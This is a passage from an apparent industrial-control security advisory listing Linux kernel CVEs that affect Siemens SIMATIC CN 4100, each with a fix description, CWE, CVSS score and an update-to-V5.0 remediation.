\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 veth0_to_hsr \u251c\u2500\u2500\u2500\u2524 hsr_slave0 \u253c\u2500\u2500\u2500\u2510 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u251c\u2500\u2524 hsr0 \u251c\u2500\u2500\u2500\u2510 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 veth1_to_hsr \u253c\u2500\u2500\u2500\u2524 hsr_slave1 \u251c\u2500\u2500\u2500\u2518 \u2514\u2524 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u250c\u253c bridge \u2502 \u2502\u2502 \u2502 \u2502\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502 ... \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 To trigger the events leading up to crash, reproducer sends a corrupted HSR fr ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1286 Improper Validation of Syntactic Correctness of Input\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39706\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Destroy KFD debugfs after destroy KFD wq Since KFD proc content was moved to kernel debugfs, we can't destroy KFD debugfs before kfd_process_destroy_wq. Move kfd_process_destroy_wq prior to kfd_debugfs_fini to fix a kernel NULL pointer problem. It happens when /sys/kernel/debug/kfd was already destroyed in kfd_debugfs_fini but kfd_process_destroy_wq calls kfd_debugfs_remove_process. This line debugfs_remove_recursive(entry->proc_dentry); tries to remove /sys/kernel/debug/kfd/proc/ while /sys/kernel/debug/kfd is already gone. It hangs the kernel by kernel NULL pointer. (cherry picked from commit 0333052d90683d88531558dcfdbf2525cc37c233)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39709\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: protect against spurious interrupts during probe Make sure the interrupt handler is initialized before the interrupt is registered. If the IRQ is registered before hfi_create(), it's possible that an interrupt fires before the handler setup is complete, leading to a NULL dereference. This error condition has been observed during system boot on Rb3Gen2.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39710\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: Add a check for packet size after reading from shared memory Add a check to ensure that the packet size does not exceed the number of available words after reading the packet header from shared memory. This ensures that the size provided by the firmware is safe to process and prevent potential out-of-bounds memory access.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39713\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: rainshadow-cec: fix TOCTOU race condition in rain_interrupt() In the interrupt handler rain_interrupt(), the buffer full check on rain->buf_len is performed before acquiring rain->buf_lock. This creates a Time-of-Check to Time-of-Use (TOCTOU) race condition, as rain->buf_len is concurrently accessed and modified in the work handler rain_irq_work_handler() under the same lock. Multiple interrupt invocations can race, with each reading buf_len before it becomes full and then proceeding. This can lead to both interrupts attempting to write to the buffer, incrementing buf_len beyond its capacity (DATA_SIZE) and causing a buffer overflow. Fix this bug by moving the spin_lock() to before the buffer full check. This ensures that the check and the subsequent buffer modification are performed atomically, preventing the race condition. An corresponding spin_unlock() is added to the overflow path to correctly release the lock. This possible bug was found by an experimental static analysis tool developed by our team.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39714\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: usbtv: Lock resolution while streaming When an program is streaming (ffplay) and another program (qv4l2) changes the TV standard from NTSC to PAL, the kernel crashes due to trying to copy to unmapped memory. Changing from NTSC to PAL increases the resolution in the usbtv struct, but the video plane buffer isn't adjusted, so it overflows. [hverkuil: call vb2_is_busy instead of vb2_is_streaming]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39715\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: parisc: Revise gateway LWS calls to probe user read access We use load and stbys,e instructions to trigger memory reference interruptions without writing to memory. Because of the way read access support is implemented, read access interruptions are only triggered at privilege levels 2 and 3. The kernel and gateway page execute at privilege level 0, so this code never triggers a read access interruption. Thus, it is currently possible for user code to execute a LWS compare and swap operation at an address that is read protected at privilege level 3 (PRIV_USER). Fix this by probing read access rights at privilege level 3 and branching to lws_fault if access isn't allowed.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39716\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: parisc: Revise __get_user() to probe user read access Because of the way read access support is implemented, read access interruptions are only triggered at privilege levels 2 and 3. The kernel executes at privilege level 0, so __get_user() never triggers a read access interruption (code 26). Thus, it is currently possible for user code to access a read protected address via a system call. Fix this by probing read access rights at privilege level 3 (PRIV_USER) and setting __gu_err to -EFAULT (-14) if access isn't allowed. Note the cmpiclr instruction does a 32-bit compare because COND macro doesn't work inside asm.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39718\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: vsock/virtio: Validate length in packet header before skb_put() When receiving a vsock packet in the guest, only the virtqueue buffer size is validated prior to virtio_vsock_skb_rx_put(). Unfortunately, virtio_vsock_skb_rx_put() uses the length from the packet header as the length argument to skb_put(), potentially resulting in SKB overflow if the host has gone wonky. Validate the length as advertised by the packet header before calling virtio_vsock_skb_rx_put().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.6\nHIGH\nCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39719\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: imu: bno055: fix OOB access of hw_xlate array Fix a potential out-of-bounds array access of the hw_xlate array in bno055.c. In bno055_get_regmask(), hw_xlate was iterated over the length of the vals array instead of the length of the hw_xlate array. In the case of bno055_gyr_scale, the vals array is larger than the hw_xlate array, so this could result in an out-of-bounds access. In practice, this shouldn't happen though because a match should always be found which breaks out of the for loop before it iterates beyond the end of the hw_xlate array. By adding a new hw_xlate_len field to the bno055_sysfs_attr, we can be sure we are iterating over the correct length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39724\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: serial: 8250: fix panic due to PSLVERR When the PSLVERR_RESP_EN parameter is set to 1, the device generates an error response if an attempt is made to read an empty RBR (Receive Buffer Register) while the FIFO is enabled. In serial8250_do_startup(), calling serial_port_out(port, UART_LCR, UART_LCR_WLEN8) triggers dw8250_check_lcr(), which invokes dw8250_force_idle() and serial8250_clear_and_reinit_fifos(). The latter function enables the FIFO via serial_out(p, UART_FCR, p->fcr). Execution proceeds to the serial_port_in(port, UART_RX). This satisfies the PSLVERR trigger condition. When another CPU (e.g., using printk()) is accessing the UART (UART is busy), the current CPU fails the check (value & ~UART_LCR_SPAR) == (lcr & ~UART_LCR_SPAR) in dw8250_check_lcr(), causing it to enter dw8250_force_idle(). Put serial_port_out(port, UART_LCR, UART_LCR_WLEN8) under the port->lock to fix this issue. Panic backtrace: [ 0.442336] Oops - unknown exception [#1] [ 0.442343] epc : dw8250_serial_in32+0x1e/0x4a [ 0.442351] ra : serial8250_do_startup+0x2c8/0x88e ... [ 0.442416] console_on_rootfs+0x26/0x70\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39736\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid deadlock by moving pr_warn() outside kmemleak_lock When netpoll is enabled, calling pr_warn_once() while holding kmemleak_lock in mem_pool_alloc() can cause a deadlock due to lock inversion with the netconsole subsystem. This occurs because pr_warn_once() may trigger netpoll, which eventually leads to __alloc_skb() and back into kmemleak code, attempting to reacquire kmemleak_lock. This is the path for the deadlock. mem_pool_alloc() -> raw_spin_lock_irqsave(&kmemleak_lock, flags); -> pr_warn_once() -> netconsole subsystem -> netpoll -> __alloc_skb -> __create_object -> raw_spin_lock_irqsave(&kmemleak_lock, flags); Fix this by setting a flag and issuing the pr_warn_once() after kmemleak_lock is released.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-833 Deadlock\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39737\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid soft lockup in __kmemleak_do_cleanup() A soft lockup warning was observed on a relative small system x86-64 system with 16 GB of memory when running a debug kernel with kmemleak enabled. watchdog: BUG: soft lockup - CPU#8 stuck for 33s! [kworker/8:1:134] The test system was running a workload with hot unplug happening in parallel. Then kemleak decided to disable itself due to its inability to allocate more kmemleak objects. The debug kernel has its CONFIG_DEBUG_KMEMLEAK_MEM_POOL_SIZE set to 40,000. The soft lockup happened in kmemleak_do_cleanup() when the existing kmemleak objects were being removed and deleted one-by-one in a loop via a workqueue. In this particular case, there are at least 40,000 objects that need to be processed and given the slowness of a debug kernel and the fact that a raw_spinlock has to be acquired and released in __delete_object(), it could take a while to properly handle all these objects. As kmemleak has been disabled in this case, the object removal and deletion process can be further optimized as locking isn't really needed. However, it is probably not worth the effort to optimize for such an edge case that should rarely happen. So the simple solution is to call cond_resched() at periodic interval in the iteration loop to avoid soft lockup.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39738\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: do not allow relocation of partially dropped subvolumes [BUG] There is an internal report that balance triggered transaction abort, with the following call trace: item 85 key (594509824 169 0) itemoff 12599 itemsize 33 extent refs 1 gen 197740 flags 2 ref#0: tree block backref root 7 item 86 key (594558976 169 0) itemoff 12566 itemsize 33 extent refs 1 gen 197522 flags 2 ref#0: tree block backref root 7 ... BTRFS error (device loop0): extent item not found for insert, bytenr 594526208 num_bytes 16384 parent 449921024 root_objectid 934 owner 1 offset 0 BTRFS error (device loop0): failed to run delayed ref for logical 594526208 num_bytes 16384 type 182 action 1 ref_mod 1: -117 ------------[ cut here ]------------ BTRFS: Transaction aborted (error -117) WARNING: CPU: 1 PID: 6963 at ../fs/btrfs/extent-tree.c:2168 btrfs_run_delayed_refs+0xfa/0x110 [btrfs] And btrfs check doesn't report anything wrong related to the extent tree. [CAUSE] The cause is a little complex, firstly the extent tree indeed doesn't have the backref for 594526208. The extent tree only have the following two backrefs around that bytenr on-disk: item 65 key (594509824 METADATA_ITEM 0) itemoff 13880 itemsize 33 refs 1 gen 197740 flags TREE_BLOCK tree block skinny level 0 (176 0x7) tree block backref root CSUM_TREE item 66 key (594558976 METADATA_ITEM 0) itemoff 13847 itemsize 33 refs 1 gen 197522 flags TREE_BLOCK tree block skinny level 0 (176 0x7) tree block backref root CSUM_TREE But the such missing backref item is not an corruption on disk, as the offending delayed ref belongs to subvolume 934, and that subvolume is being dropped: item 0 key (934 ROOT_ITEM 198229) itemoff 15844 itemsize 439 generation 198229 root_dirid 256 bytenr 10741039104 byte_limit 0 bytes_used 345571328 last_snapshot 198229 flags 0x1000000000001(RDONLY) refs 0 drop_progress key (206324 EXTENT_DATA 2711650304) drop_level 2 level 2 generation_v2 198229 And that offending tree block 594526208 is inside the dropped range of that subvolume. That explains why there is no backref item for that bytenr and why btrfs check is not reporting anything wrong. But this also shows another problem, as btrfs will do all the orphan subvolume cleanup at a read-write mount. So half-dropped subvolume should not exist after an RW mount, and balance itself is also exclusive to subvolume cleanup, meaning we shouldn't hit a subvolume half-dropped during relocation. The root cause is, there is no orphan item for this subvolume. In fact there are 5 subvolumes from around 2021 that have the same problem. It looks like the original report has some older kernels running, and caused those zombie subvolumes. Thankfully upstream commit 8d488a8c7ba2 (\"btrfs: fix subvolume/snapshot deletion not triggered on mount\") has long fixed the bug. [ENHANCEMENT] For repairing such old fs, btrfs-progs will be enhanced. Considering how delayed the problem will show up (at run delayed ref time) and at that time we have to abort transaction already, it is too late. Instead here we reject any half-dropped subvolume for reloc tree at the earliest time, preventing confusion and extra time wasted on debugging similar bugs.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39742\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: RDMA: hfi1: fix possible divide-by-zero in find_hw_thread_mask() The function divides number of online CPUs by num_core_siblings, and later checks the divider by zero. This implies a possibility to get and divide-by-zero runtime error. Fix it by moving the check prior to division. This also helps to save one indentation level.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-369 Divide By Zero\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39743\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: truncate good inode pages when hard link is 0 The fileset value of the inode copy from the disk by the reproducer is AGGR_RESERVED_I. When executing evict, its hard link number is 0, so its inode pages are not truncated. This causes the bugon to be triggered when executing clear_inode() because nrpages is greater than 0.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39749\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: rcu: Protect ->defer_qs_iw_pending from data race On kernels built with CONFIG_IRQ_WORK=y, when rcu_read_unlock() is invoked within an interrupts-disabled region of code [1], it will invoke rcu_read_unlock_special(), which uses an irq-work handler to force the system to notice when the RCU read-side critical section actually ends. That end won't happen until interrupts are enabled at the soonest. In some kernels, such as those booted with rcutree.use_softirq=y, the irq-work handler is used unconditionally. The per-CPU rcu_data structure's ->defer_qs_iw_pending field is updated by the irq-work handler and is both read and updated by rcu_read_unlock_special(). This resulted in the following KCSAN splat: ------------------------------------------------------------------------ BUG: KCSAN: data-race in rcu_preempt_deferred_qs_handler / rcu_read_unlock_special read to 0xffff96b95f42d8d8 of 1 bytes by task 90 on cpu 8: rcu_read_unlock_special+0x175/0x260 __rcu_read_unlock+0x92/0xa0 rt_spin_unlock+0x9b/0xc0 __local_bh_enable+0x10d/0x170 __local_bh_enable_ip+0xfb/0x150 rcu_do_batch+0x595/0xc40 rcu_cpu_kthread+0x4e9/0x830 smpboot_thread_fn+0x24d/0x3b0 kthread+0x3bd/0x410 ret_from_fork+0x35/0x40 ret_from_fork_asm+0x1a/0x30 write to 0xffff96b95f42d8d8 of 1 bytes by task 88 on cpu 8: rcu_preempt_deferred_qs_handler+0x1e/0x30 irq_work_single+0xaf/0x160 run_irq_workd+0x91/0xc0 smpboot_thread_fn+0x24d/0x3b0 kthread+0x3bd/0x410 ret_from_fork+0x35/0x40 ret_from_fork_asm+0x1a/0x30 no locks held by irq_work/8/88. irq event stamp: 200272 hardirqs last enabled at (200272): [] finish_task_switch+0x131/0x320 hardirqs last disabled at (200271): [] __schedule+0x129/0xd70 softirqs last enabled at (0): [] copy_process+0x4df/0x1cc0 softirqs last disabled at (0): [<0000000000000000>] 0x0 ------------------------------------------------------------------------ The problem is that irq-work handlers run with interrupts enabled, which means that rcu_preempt_deferred_qs_handler() could be interrupted, and that interrupt handler might contain an RCU read-side critical section, which might invoke rcu_read_unlock_special(). In the strict KCSAN mode of operation used by RCU, this constitutes a data race on the ->defer_qs_iw_pending field. This commit therefore disables interrupts across the portion of the rcu_preempt_deferred_qs_handler() that updates the ->defer_qs_iw_pending field. This suffices because this handler is not a fast path.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div 